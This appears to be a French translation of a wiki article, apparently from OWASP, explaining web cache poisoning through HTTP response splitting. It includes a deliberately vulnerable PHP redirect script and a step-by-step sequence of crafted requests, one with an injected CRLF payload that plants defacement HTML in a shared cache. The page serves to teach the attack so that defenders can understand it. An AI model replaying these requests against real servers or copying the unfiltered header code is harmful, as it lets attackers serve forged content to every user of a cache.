Table of Contents
Last revision (mm/dd/yy): 04/23/2009
Description
L'impact d'une réponse malveillante s'agrandit si elle est mise en cache, soit dans un cache Web utilisé par plusieurs utilisateurs ou même dans le cache du navigateur d'un utilisateur unique. Si une réponse est mise en cache dans un cache Web partagé, tels que ceux couramment utilisés dans les serveurs proxy, tous les utilisateurs de ce cache continueront de recevoir le contenu malveillant tant que le cache ne sera vidé. De même, si la réponse est mise en cache dans le navigateur d'un utilisateur individuel, alors l'utilisateur continuera à recevoir le contenu malveillant tant que le cache ne sera pas vidé. Pour mener à bien une telle attaque, un attaquant :
- trouve le code du service vulnérable, ce qui lui permet de remplir le champ d'en-tête HTTP avec de nombreuses en-têtes.
- Force le serveur de cache à vider son cache du contenu réel, ce que nous voulons cacher par les serveurs.
- Envoie une requête spécialement conçue, qui sera stockée dans le cache.
- Envoie la requête suivante. Le contenu préalablement injectée et stockée dans le cache sera la réponse à cette demande.
Cette attaque est assez difficile à réaliser dans un environnement réel. La liste des conditions est longue et difficile à remplir par l'attaquant. Cependant, il est plus facile d'utiliser cette technique que la technique du Cross-User Defacement. Une attaque Cache Poisoning est possible en raison de HTTP Response Splitting '' et des failles dans l'application Web. Il est essentiel du point de vue de l'attaquant que l'application permette de remplir le champ d'en-tête avec plus d'une en-tête à l'aide de CR (Carrige Return) et LF (Line Feed) .
Exemples
Nous avons trouvé une page Web, qui tire son nom de service de l'argument de la “page” et redirige ensuite (302) à ce service.
e.g. <__yamdwe_nowiki>0</__yamdwe_nowiki>
And exemplary code of the redir.php:
rezos@dojo ~/public_html $ cat redir.php
<?php
header ("Location: " . $_GET['page']);
?>
Crafting appropriate request: [1]
1 - remove page from the cache
GET <__yamdwe_nowiki>1</__yamdwe_nowiki> Pragma: no-cache Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
Les en-têtes HTTP “Pragma: no-cache” ou “Cache-Control: no-cache” supprimera la page du cache (si la page est stockée dans le cache, évidemment).
2 - using HTTP Response Splitting we force cache server to generate two responses to one request
GET <__yamdwe_nowiki>2</__yamdwe_nowiki> Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast- Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte nt-Length:%2020%0d%0aContent- Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1 Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
Nous avons intentionnellement modifié le temps à venir (dans l'en-tête il est réglé sur 27 Octobre 2009) dans l'en-tête HTTP de la seconde réponse “Last-Modified” pour enregistrer la réponse dans le cache. Nous pouvons obtenir cet effet en réglant les en-têtes suivants:
Last-Modified (checked byt the If-Modified-Since header) ETag (checked by the If-None-Match header)
3 - sending request for the page, which we want to replace in the cache of the server
GET <__yamdwe_nowiki>3</__yamdwe_nowiki> Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
En théorie, le serveur cache doit envoyer la deuxième réponse de la requête n ° 2 à la requete n ° 3. De cette façon, nous avons remplacé le contenu du cache. Le reste des requêtes devrait être exécuté au cours d'une connexion (si le serveur cache ne nécessite pas une méthode plus sophistiquée pour être utilisé), éventuellement immédiatement l'une après l'autre. Il peut sembler problématique d'utiliser cette attaque comme une technique universelle de cache poisoning . Cela est dû à l'existence de différents modèles de connexion au serveur cache et des différents systèmes implantés. Qu'est-ce que ça veut dire? C'est par exemple une méthode efficace pour empoisonner le cache Apache 2.x avec modules modproxy et modcache ne fonctionneront pas avec Squid. Un autre problème est la longueur de l'URI, ce qui rend parfois impossible l 'établissement de l en-tête nésssaire à la réponse, qui devrait correspondre à la prochaine requête de la page empoisonnée. Les exemples utilisés sont copiés de 1) et ont été modifiés pour les besoins de l'article. Plus d'informations peuvent être trouvées dans ce document, qui met l'accent sur ce genre d'attaques : <references/>